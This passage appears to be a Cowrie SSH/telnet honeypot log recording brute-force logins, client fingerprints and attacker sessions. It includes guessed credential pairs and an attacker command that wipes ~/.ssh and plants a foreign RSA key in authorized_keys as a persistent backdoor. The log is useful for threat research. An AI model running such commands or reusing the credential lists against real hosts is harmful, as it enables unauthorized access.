{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc3ff969080","protocol":"ssh","message":"New connection: 167.172.73.9:33048 (10.17.0.5:22) [session: 2bc3ff969080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:31.475661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:31.479982Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:31.736466Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42516,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a6bcbf4503","protocol":"ssh","message":"New connection: 176.65.132.129:42516 (10.17.0.5:22) [session: 65a6bcbf4503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:32.290720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:32.294768Z","src_ip":"176.65.132.129","session":"65a6bcbf4503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:32.376873Z","src_ip":"176.65.132.129","session":"65a6bcbf4503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:32.625576Z","src_ip":"176.65.132.129","session":"65a6bcbf4503","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@321","message":"login attempt [oracle/oracle@321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:32.784442Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.34","src_port":51128,"dst_ip":"159.203.135.109","dst_port":23,"session":"637f004808af","protocol":"telnet","message":"New connection: 82.163.78.34:51128 (159.203.135.109:23) [session: 637f004808af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.203017Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.354357Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.357195Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.360747Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.190077543258667,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.455915Z","src_ip":"45.81.23.16","session":"f43494d7fba2","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.617935Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:33.710333Z","src_ip":"176.65.132.129","session":"65a6bcbf4503","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.170897Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.174486Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.433033Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.436343Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":33056,"dst_ip":"10.17.0.5","dst_port":22,"session":"039e85be7144","protocol":"ssh","message":"New connection: 167.172.73.9:33056 (10.17.0.5:22) [session: 039e85be7144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.666124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.671237Z","src_ip":"167.172.73.9","session":"039e85be7144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:34.916558Z","src_ip":"167.172.73.9","session":"039e85be7144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42530,"dst_ip":"10.17.0.5","dst_port":22,"session":"d114d58cae48","protocol":"ssh","message":"New connection: 176.65.132.129:42530 (10.17.0.5:22) [session: d114d58cae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.544916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.549206Z","src_ip":"176.65.132.129","session":"d114d58cae48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.631087Z","src_ip":"176.65.132.129","session":"d114d58cae48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.876231Z","src_ip":"176.65.132.129","session":"d114d58cae48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.104563474655151,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.906702Z","src_ip":"45.81.23.16","session":"c13b4efe3d23","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:35.930275Z","src_ip":"167.172.73.9","session":"039e85be7144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.00129699707031,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:36.868372Z","src_ip":"38.60.198.128","session":"a7d83a159a53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:36.964025Z","src_ip":"176.65.132.129","session":"d114d58cae48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:37.176966Z","src_ip":"167.172.73.9","session":"039e85be7144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":33060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e593b3ebed44","protocol":"ssh","message":"New connection: 167.172.73.9:33060 (10.17.0.5:22) [session: e593b3ebed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:37.411208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:37.415365Z","src_ip":"167.172.73.9","session":"e593b3ebed44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:37.655765Z","src_ip":"167.172.73.9","session":"e593b3ebed44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:38.635012Z","src_ip":"167.172.73.9","session":"e593b3ebed44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49616,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a95b0504967","protocol":"ssh","message":"New connection: 176.65.132.129:49616 (10.17.0.5:22) [session: 5a95b0504967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:38.854185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:38.861282Z","src_ip":"176.65.132.129","session":"5a95b0504967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:38.876436Z","src_ip":"167.172.73.9","session":"e593b3ebed44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:38.883629Z","src_ip":"167.172.73.9","session":"2bc3ff969080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:39.060246Z","src_ip":"176.65.132.129","session":"5a95b0504967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:39.385451Z","src_ip":"176.65.132.129","session":"5a95b0504967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:40.472027Z","src_ip":"176.65.132.129","session":"5a95b0504967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":44496,"dst_ip":"159.203.135.109","dst_port":23,"session":"c02463fd228d","protocol":"telnet","message":"New connection: 64.227.82.147:44496 (159.203.135.109:23) [session: c02463fd228d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:41.620615Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49622,"dst_ip":"10.17.0.5","dst_port":22,"session":"02580be878c1","protocol":"ssh","message":"New connection: 176.65.132.129:49622 (10.17.0.5:22) [session: 02580be878c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:42.318744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:42.324502Z","src_ip":"176.65.132.129","session":"02580be878c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-p